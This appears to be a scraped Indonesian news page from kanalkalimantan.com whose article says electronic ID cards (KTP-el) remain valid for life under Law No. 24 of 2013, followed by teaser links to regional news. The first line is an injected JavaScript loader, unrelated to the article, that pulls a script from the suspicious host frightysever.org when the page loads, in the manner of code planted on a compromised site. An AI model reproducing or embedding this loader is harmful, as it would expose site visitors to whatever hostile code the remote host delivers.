(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Mari kita lihat KTP Elektronik (KTP-El) masing-masing. Perhatikan kolom BERLAKU HINGGA. Jika terdapat ANGKA tanggal berlaku, tidak perlu takut/khawatir, sekalipun tanggalnya sudah KADALUWARSA, MASIH TETAP BERLAKU, bahkan SEUMUR HIDUP.
Oleh karena sejak diundangkannya Undang-Undang No. 24 Tahun 2013 tentang Perubahan atas Undang-Undang No. 23 Thn 2006 tentang Administrasi Kependudukan, bahwa :
Pasal 64, Ayat (7) a. KTP elektronik untuk WNI masa berlakunya SEUMUR HIDUP.
Pasal 64 ayat (8) dalam hal terjadi PERUBAHAN elemen data (nama, tanggal lahir, status kawin, agama, pekerjaan, alamat dan/atau wilayah), RUSAK, atau HILANG, Penduduk pemilik KTP-el wajib melaporkan kepada Instansi Pelaksana (Dinas Kependudukan dan Pencatatan Sipil) untuk dilakukan PERUBAHAN atau PENGGANTIAN.
Pasal 101 huruf b. KTP-el yang sudah diterbitkan sebelum Undang-Undang ini ditetapkan BERLAKU SEUMUR HIDUP.
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.